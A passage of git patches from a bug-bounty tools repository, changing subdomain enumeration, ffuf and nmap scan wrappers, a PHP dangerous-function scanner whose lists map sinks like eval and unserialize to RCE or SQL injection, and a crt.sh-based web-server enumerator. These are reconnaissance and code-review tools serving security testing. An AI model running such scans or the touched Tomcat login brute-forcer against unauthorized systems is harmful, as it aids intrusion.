domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all @@ -40,9 +40,9 @@ create_list_of_domains() { cat domains/*.* > domains/domains.all sort -u -k 1 domains/domains.all > domains/__domains # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/__domains.final + sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/final rm -f domains/domains.all - echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log + echo -e "$(date) ... Done! $(cat domains/final|wc -l) unique domains gathered \o/" >> subdomain_enum.log } @@ -50,7 +50,7 @@ create_list_of_domains() { run_denumerator() { echo $1 echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/__domains.final -c 200,403,500,301,302,304,404,206,405,411,415 --dir $1 --output __$1.log + denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log echo -e "$(date) denumerator finished" >> subdomain_enum.log echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log } @@ -85,7 +85,7 @@ done # concatenate and sort all domains from the target create_list_of_domains -echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" +echo -e "\n[+} DONE. Found $(wc -l domains/final) unique subdomains" # run denumerator on the domains/domains.final output file run_denumerator $OUTPUT_DIR diff --git a/s0mbra.sh b/s0mbra.sh index 25cc747..b82e18b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -380,7 +380,7 @@ abe() { fu() { clear echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,422,500 } generate_shells() { From 8665970df33ec3533edd4237b046fa6f2e49965f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 13 Aug 2021 22:39:09 +0100 Subject: [PATCH 097/369] [s0mbra] remove / from before FUZZ for dictionaries were entries start from / --- enumeratescope.sh | 2 +- s0mbra.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 1b4134a..e22da00 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all diff --git a/s0mbra.sh b/s0mbra.sh index b82e18b..b12a9c5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -380,7 +380,7 @@ abe() { fu() { clear echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc 200,422,500 + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 } generate_shells() { From beb1e8f4692048243a57632a0d6365cae2266f2b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 18 Aug 2021 07:02:30 +0100 Subject: [PATCH 098/369] [s0mbra] fu, *_nmap_scan improvements --- s0mbra.sh | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index b12a9c5..3407b98 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -379,8 +379,19 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching only HTTP 200...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,422,500...$CLR" + if [[ -n $3 ]]; then + if [[ $3 == "/" ]]; then + # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes + # dir path has to end with / to be identified + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 + else + # if $3 arg is not /, treat it as file extension to enumerate files: + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 + fi + else + ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 + fi } generate_shells() { @@ -524,7 +535,7 @@ case "$cmd" in s3 "$2" ;; fu) - fu "$2" "$3" + fu "$2" "$3" "$4" ;; s3go) s3go "$2" "$3" @@ -539,8 +550,8 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\tsubdomenum [SCOPE_FILE] [OUTPUT_DIR]\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\tfull_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports + -sV -sC -A on found open ports" - echo -e "\tquick_nmap_scan [IP] [PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\tquick_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" + echo -e "\tfull_nmap_scan [IP] [*PORTS]\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\tnfs_enum [IP]\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\ts3 [bucket]\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" @@ -569,7 +580,7 @@ case "$cmd" in echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From deef1fb54e1b54fec099ff84e718fc273f761889 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 20 Aug 2021 22:19:37 +0100 Subject: [PATCH 099/369] [s0mbra,enumeratescope] some changes --- enumeratescope.sh | 2 +- s0mbra.sh | 7 ++----- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index e22da00..1b4134a 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -22,7 +22,7 @@ enumerate_domain() { echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all diff --git a/s0mbra.sh b/s0mbra.sh index 3407b98..3e15efb 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -60,15 +60,14 @@ set_ip() { full_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" - echo -e "\t\t -> search open ports..." ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e "\t\t -> search open ports..." ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "\t\t -> run version detection + nse scripts against $ports..." + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi @@ -80,11 +79,9 @@ full_nmap_scan() { quick_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CLR" - echo -e "\t\t -> search open ports..." nmap -p- $1 else echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CLR" - echo -e "\t\t -> search top $2 open ports..." nmap --top-ports $2 $1 fi From 73637d12123fb3043296f9fadd14538acfe52f3e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 31 Aug 2021 22:04:51 +0100 Subject: [PATCH 100/369] changes --- apache-tomcat-login-bruteforce.py | 1 - codestructor/codestructor.py | 13 ------------- nodestructor/nodestructor.py | 6 ++++++ 3 files changed, 6 insertions(+), 14 deletions(-) delete mode 100755 codestructor/codestructor.py diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py index 0f15823..b050d2e 100755 --- a/apache-tomcat-login-bruteforce.py +++ b/apache-tomcat-login-bruteforce.py @@ -102,7 +102,6 @@ 'demo:demo' ] - def brute(args): """ Iterate over login:password pairs from credentials array and send GET request to diff --git a/codestructor/codestructor.py b/codestructor/codestructor.py deleted file mode 100755 index 3e5b1d6..0000000 --- a/codestructor/codestructor.py +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env python3 -''' - CODEStructor.py - Static Code Analysis grep-like tool on steroids :) - - grep-like search for dangerous code patterns, sources and sinks - - search for secrets, hardcoded credentials, interesting strings like hashes etc. - - detailed, colorful output with configurable verbosity level - - based on my previous tools: nodestructor and pef - - @author bl4de - @github https://github.com/bl4de/security-tools -''' -import argparse - diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 18464d0..2daa19d 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -12,6 +12,12 @@ GitHub: bl4de | Twitter: @_bl4de | hackerone.com/bl4de bloorq@gmail.com """ + +""" +some ideas: +https://attacker-codeninja.github.io/2021-08-24-code-review-notes-from-bug-bounty-bootcamp/ + +""" import os import re import argparse From 0db27832aa4f4268d8e8fcd630e499e3c97df610 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 17 Sep 2021 00:03:50 +0100 Subject: [PATCH 101/369] [pef] Weird IndexError when pef reaches PHP parse_str() function --- denumerator/denumerator.py | 1 - pef/imports/pefdefs.py | 5 ++--- pef/imports/pefdocs.py | 22 ++++++++++++++-------- pef/pef.py | 2 ++ 4 files changed, 18 insertions(+), 12 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 5e6c4f0..9e5278d 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -25,7 +25,6 @@ """ import argparse -import sys import os import subprocess import time diff --git a/pef/imports/pefdefs.py b/pef/imports/pefdefs.py index 5a7d8fd..3aa0375 100755 --- a/pef/imports/pefdefs.py +++ b/pef/imports/pefdefs.py @@ -7,6 +7,8 @@ "popen(", "pcntl_exec(", "eval(", + "arse_str(", # use arse_str(, because somehow, parse_str causes "IndexError: list index out of range" o_O + "parse_url(", "preg_replace(", "create_function(", "include(", @@ -17,7 +19,6 @@ "proc_open(", "pcntl_exec(", "extract(", - "parse_str(", "putenv(", "ini_set(", "mail(", @@ -102,7 +103,6 @@ "passthru(", "shell_exec(", "extract(", - "parse_str(", "putenv(", "unserialize(", "readfile(", @@ -116,7 +116,6 @@ "__sleep(", "__call(", "__callStatic(", - "filter_var(", "file_put_contents(" ] diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 856f40b..4423a84 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -23,6 +23,12 @@ "RCE", "high" ], + "parse_url()": [ + "parse_url — Parse a URL and return its components", + "parse_url(string $url, int $component = -1): mixed", + "SSRF, Filter Bypass", + "medium" + ], "parse_str()": [ "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", "parse_str ( string $encoded_string [, array &$result ] ) : void" @@ -407,13 +413,13 @@ "SSRF", "medium" ], - "__destruct()":[ + "__destruct()": [ "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", "__destruct ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", "medium" ], - "__wakeup()":[ + "__wakeup()": [ "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", "__wakeup ( void ) : void", "Object Injection; RCE via unserialize() + POP gadget chain", @@ -437,37 +443,37 @@ "Object Injection; RCE via unserialize() + POP gadget chain", "medium" ], - "filter_var()":[ + "filter_var()": [ "Filters a variable with a specified filter", "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", "Validation bypass (in certain conditions)", "low" ], - "file_put_contents()":[ + "file_put_contents()": [ "Write data to a file", "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", "Arbitrary file write", "medium" ], - "SELECT.*FROM":[ + "SELECT.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" ], - "INSERT.*INTO":[ + "INSERT.*INTO": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" ], - "UPDATE.*":[ + "UPDATE.*": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", "medium" ], - "DELETE.*FROM":[ + "DELETE.*FROM": [ "SQL syntax found.", "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", "SQL Injection", diff --git a/pef/pef.py b/pef/pef.py index 21c68fb..09a5dcd 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -302,6 +302,8 @@ def run(self): engine = PefEngine(args.recursive, verbose, critical, sql, filename, pattern) engine.run() + except IndexError as e: + print("IndexError in {}: {}".format(filename, e)) except UnicodeDecodeError as e: print("UnicodeDecodeError in {}: {}".format(filename, e)) except FileNotFoundError as e: From 4ef549866724d5bab324497df144f42bda74d9cd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 10 Oct 2021 08:05:53 +0100 Subject: [PATCH 102/369] [enumeratescope] Fix for duplicated domains in final list --- enumeratescope.sh | 20 +++++++++++--------- s0mbra.sh | 2 +- 2 files changed, 12 insertions(+), 10 deletions(-) diff --git a/enumeratescope.sh b/enumeratescope.sh index 1b4134a..864cc66 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -16,13 +16,13 @@ create_domains_folder() { } -## perform sublist3r and amass enumeration on each domain passed as an argument +## perform sublist3r, subfinder and amass enumeration on each domain passed as an argument enumerate_domain() { local DOMAIN=$1 echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log sublister -d $DOMAIN -o domains/$DOMAIN.sublister subfinder -d $DOMAIN -o domains/$DOMAIN.subfinder - amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass + # amass enum -config $HOME/.config/amass/amass.ini -d $DOMAIN -o domains/$DOMAIN.amass if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ] || [ -s domains/$DOMAIN.subfinder ]; then cat domains/$DOMAIN.* > domains/$DOMAIN.all @@ -32,16 +32,18 @@ enumerate_domain() { echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log } -## processing all outputed list of domains into one, removing dups -## and sorting +## creates list of uniqe, sorted domains obtained from subdomain enum tools: create_list_of_domains() { echo -e "$(date) create final list of domains found..." >> subdomain_enum.log # concatenate and sort all domains from the target - cat domains/*.* > domains/domains.all - sort -u -k 1 domains/domains.all > domains/__domains - # remove odd
left by Sublist3r or amass :P - sed 's/
/#/g' domains/__domains | tr '#' '\n' > domains/final - rm -f domains/domains.all + cat domains/*.* > domains/all + # remove
left from DNS records into unsorted list with dups: + sed 's/
/#/g' domains/all | tr '#' '\n' > domains/unsorted + # remove dups and create final list of domains: + sort -u -k 1 domains/unsorted > domains/final + # remove temporary files + rm -f domains/all domains/unsorted + # show how many uniq domains were found: echo -e "$(date) ... Done! $(cat domains/final|wc -l) unique domains gathered \o/" >> subdomain_enum.log } diff --git a/s0mbra.sh b/s0mbra.sh index 3e15efb..1906126 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -577,7 +577,7 @@ case "$cmd" in echo -e "\tapk [.apk FILE]\t\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\tabe [.ab FILE]\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t\t\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" + echo -e "\tfu [URL] [DICT] [*EXT/*ENDSLASH]\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "$BLUE:: MISC ::$CLR" echo -e "\tphp7 \t\t\t\t\t\t -> switch PHP to version 7.x" echo -e "\tphp8 \t\t\t\t\t\t -> switch PHP to version 8.x" From 8cdf4361fc39ce386fc0e8ca5d04e36b10997f2e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 14 Oct 2021 16:25:50 +0100 Subject: [PATCH 103/369] [Denumerator] HTML Report output improvements - fold results by HTTP reponse code --- denumerator/denumerator.py | 144 ++++++++++++++++++++++++++++++++++--- 1 file changed, 133 insertions(+), 11 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 9e5278d..419636c 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -65,7 +65,8 @@ requests.packages.urllib3.disable_warnings() timeout = 2 -nmap = False +nmap = True +element_class_name_iterator = 1 def usage(): @@ -88,6 +89,27 @@ def create_output_header(html_output): font-size: 12px; } + BODY { + margin:0px; + } + + DIV#header { + position: fixed; + padding-left: 30px; + top: 0px; + height:70px; + width: 100%; + background-color:#09a; + border-bottom:2px solid #ccc; + } + + DIV#container { + margin-top:100px; + width: 100%; + padding:10px; + text-align:center; + } + H4 { font-size: 14px; color: #777; @@ -103,19 +125,100 @@ def create_output_header(html_output): vertical-align: top; text-align: left; padding: 10px; - border-top: 12px solid #6e6f6f; + } + + TD.boundary { + border-top: 5px solid #6e6f6f; + border-bottom: 2px solid #6e6f6f; + padding-left: 20px; + background-color: #fafff4; + } + + .fold { + display: none; + } + + .unfold { + display: block; + background-color: #f9f9db; + } + + A.toggle { + margin-left:30px; + font-size: 18px; + font-weight:bold; + cursor: pointer; + padding:5px 20px; + border:1px solid #dadede; + + border-radius: 10px; + } + + A.off { + background-color: #f1f1fa; + } + + A.on { + background-color: #c4f3c5; + } + + A.url { + font-weight: bold; + font-size:16px; + text-decoration:none; + margin-left: 120px; } - + + + + + +
+
""" html_output.write(html) return def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses, output_directory): + global element_class_name_iterator + screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="HackerOne" --disable-gpu --dns-prefetch-disable --log-level=0 --timeout=30000 --virtual-time-budget=999999 --run-all-compositor-stages-before-draw --screenshot={} '.format( @@ -162,17 +265,23 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ # HTTP response headers response_headers_html = "" for header in response_headers.keys(): - response_headers_html = response_headers_html + "

{} : {}

".format( + response_headers_html = response_headers_html + "

{} : {}

".format( header, response_headers[header] ) + element_class_name = 'result_{}'.format(element_class_name_iterator) + element_class_name_iterator += 1 html = """ - + + + @@ -189,7 +298,19 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ {} - """.format(http_status_code_color, http_status_code, url, url, screenshot_name, response_headers_html, ip_html, nmap_html) + """.format( + http_status_code_color, + element_class_name, + http_status_code, + url, + url, + (http_status_code//100), + element_class_name, + screenshot_name, + response_headers_html, + ip_html, + nmap_html + ) html_output.write(html) html_output.flush() return @@ -197,7 +318,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ def create_output_footer(html_output): html = """ -
-

HTTP Response Status: {}

-

- {} -

+
+

+ HTTP Response Status: {} + {} +

+
+ + """ From dce50979eefe7ce998139c154ecc19e541369a5e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 15 Oct 2021 22:01:37 +0100 Subject: [PATCH 104/369] [Denumerator] Updated TODO - remove implemented stuff --- denumerator/denumerator.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 419636c..45daf8b 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -3,10 +3,6 @@ """ @TODO - results summary -- disable/enable by HTTP Response Code (200/500/404/403/302) -- HTTP response headers - - """ From d8c42a7a1e7ccbe272078674cf83fa5e8047d286 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 16 Oct 2021 18:20:38 +0100 Subject: [PATCH 105/369] [dec0der] simple tool to echo decoded string in expected format (ASCII, Base64) --- dec0der.sh | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100755 dec0der.sh diff --git a/dec0der.sh b/dec0der.sh new file mode 100755 index 0000000..bd914db --- /dev/null +++ b/dec0der.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +# simple command line decoder/enmcoder +# by bl4de +# +# invoke: +# dec0der [FROM] [string] + +FROM=$1 +STRING=$2 + +if [[ $FROM == 'ascii' ]]; then + echo $STRING | xxd -r -p +fi + +if [[ $FROM == 'base64' ]]; then + echo $STRING | base64 -D +fi From b4c44f19bb7309a074fbe0ed6551ad36bd4db24f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 26 Oct 2021 12:52:29 +0100 Subject: [PATCH 106/369] [crater.sh] CRT.sh automation tool (in progress) --- crater.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100755 crater.py diff --git a/crater.py b/crater.py new file mode 100755 index 0000000..cbf2554 --- /dev/null +++ b/crater.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +import sys +import requests + + +domain = sys.argv[1] +base_url = "https://crt.sh/?q={}&output=json".format(domain) + +resp = requests.get(base_url) + +if resp.status_code == 200: + print(resp.content) + \ No newline at end of file From 41feb56b73dbef078f810c70dd865509709c66ab Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 27 Oct 2021 13:58:37 +0100 Subject: [PATCH 107/369] [crater] parse crt.sh result set --- crater.py | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/crater.py b/crater.py index cbf2554..0930b67 100755 --- a/crater.py +++ b/crater.py @@ -1,13 +1,21 @@ #!/usr/bin/env python3 import sys import requests - +import json domain = sys.argv[1] base_url = "https://crt.sh/?q={}&output=json".format(domain) +data = {} +extracted_domains = [] resp = requests.get(base_url) if resp.status_code == 200: - print(resp.content) - \ No newline at end of file + data = json.loads(resp.content.decode('utf-8')) + for elem in data: + if elem['name_value'] not in extracted_domains: + extracted_domains.append(elem['name_value']) + + print(extracted_domains) +else: + print("[-] No data retrieved for domain {}".format(domain)) From 27d2cf7ebf85b1ee27b1935d12f0d73243feba23 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Oct 2021 11:30:29 +0100 Subject: [PATCH 108/369] [Denumerator] Add -t/--target to use subdomain enumeration with crt.sh instead of file with results from other tool(s) --- crater.py | 21 --------------------- denumerator/denumerator.py | 35 ++++++++++++++++++++++++++++++++--- 2 files changed, 32 insertions(+), 24 deletions(-) delete mode 100755 crater.py diff --git a/crater.py b/crater.py deleted file mode 100755 index 0930b67..0000000 --- a/crater.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python3 -import sys -import requests -import json - -domain = sys.argv[1] -base_url = "https://crt.sh/?q={}&output=json".format(domain) -data = {} -extracted_domains = [] - -resp = requests.get(base_url) - -if resp.status_code == 200: - data = json.loads(resp.content.decode('utf-8')) - for elem in data: - if elem['name_value'] not in extracted_domains: - extracted_domains.append(elem['name_value']) - - print(extracted_domains) -else: - print("[-] No data retrieved for domain {}".format(domain)) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 45daf8b..3eb0fff 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -25,6 +25,8 @@ import subprocess import time import requests +import json + from datetime import datetime welcome = """ --- dENUMerator --- @@ -410,13 +412,37 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, pass +def enumerate_from_crt_sh(domain): + ''' + Perform subdomains enumeration using crt.sh service + ''' + base_url = "https://crt.sh/?q={}&output=json".format(domain) + data = {} + extracted_domains = [] + + resp = requests.get(base_url) + + if resp.status_code == 200: + data = json.loads(resp.content.decode('utf-8')) + for elem in data: + if elem['name_value'] not in extracted_domains: + extracted_domains.append(elem['name_value']) + + print(extracted_domains) + else: + print("[-] No data retrieved for domain {}".format(domain)) + + return [] + def main(): parser = argparse.ArgumentParser() allowed_http_responses = [] parser.add_argument( - "-f", "--file", help="File with list of hostnames") + "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored") + parser.add_argument( + "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( @@ -453,10 +479,13 @@ def main(): # set options show = True if args.success else False - if args.file is not None and os.path.isfile(args.file): + # use provided file with list of hostnames or perform subdomain enumeration with crt.sh: + if args.target is None and args.file is not None and os.path.isfile(args.file): domains = open(args.file, 'r').readlines() + elif args.target is not None and args.file is None: + domains = enumerate_from_crt_sh(args.target) else: - exit('[-] Can not open {} file with domains list :/'.format(args.file)) + exit('[-] No file with hostnames or domain to recon. Use either -f or -t option') # create dir for HTML report if os.path.isdir('reports') == False: From 9dd4948d34f43de93cdb0cd90ef8f8cc42570271 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Oct 2021 11:47:25 +0100 Subject: [PATCH 109/369] [Denumerator] bugfixes for crt.sh; output improvements --- denumerator/denumerator.py | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 3eb0fff..ff05484 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -20,13 +20,13 @@ $ ./denumerator.py [domain_list_file] """ + import argparse import os import subprocess import time import requests import json - from datetime import datetime welcome = """ --- dENUMerator --- @@ -57,8 +57,7 @@ "magenta": '\33[35m', "cyan": '\33[36m', "grey": '\33[90m', - "lightgrey": '\33[37m', - "lightblue": '\33[94' + "lightgrey": '\33[37m' } requests.packages.urllib3.disable_warnings() @@ -334,7 +333,7 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses 'https': 'https://' } - print('\t--> {}{}'.format(protocols.get(proto.lower()), domain)) + print('\t--> {}{}{}{}'.format(colors['magenta'], protocols.get(proto.lower()), domain, colors['white'])) resp = requests.get(protocols.get(proto.lower()) + domain, timeout=timeout, @@ -418,21 +417,23 @@ def enumerate_from_crt_sh(domain): ''' base_url = "https://crt.sh/?q={}&output=json".format(domain) data = {} - extracted_domains = [] + enumerated_subdomains = [] resp = requests.get(base_url) if resp.status_code == 200: data = json.loads(resp.content.decode('utf-8')) for elem in data: - if elem['name_value'] not in extracted_domains: - extracted_domains.append(elem['name_value']) + if elem['common_name'] not in enumerated_subdomains: + enumerated_subdomains.append(elem['common_name']) - print(extracted_domains) + if len(enumerated_subdomains) > 0: + print("{}[+] Done! Found {} subdomains, performing HTTP servers enumeration...{}".format( + colors['cyan'], len(enumerated_subdomains), colors['white'])) + return enumerated_subdomains else: - print("[-] No data retrieved for domain {}".format(domain)) + exit("[-] No data retrieved for domain {}".format(domain)) - return [] def main(): @@ -482,7 +483,7 @@ def main(): # use provided file with list of hostnames or perform subdomain enumeration with crt.sh: if args.target is None and args.file is not None and os.path.isfile(args.file): domains = open(args.file, 'r').readlines() - elif args.target is not None and args.file is None: + elif args.target is not None and args.file is None: domains = enumerate_from_crt_sh(args.target) else: exit('[-] No file with hostnames or domain to recon. Use either -f or -t option') From 3f21c85f434378dc7b50b133bdfdc7a817c88d30 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 29 Oct 2021 17:30:31 +0100 Subject: [PATCH 110/369] 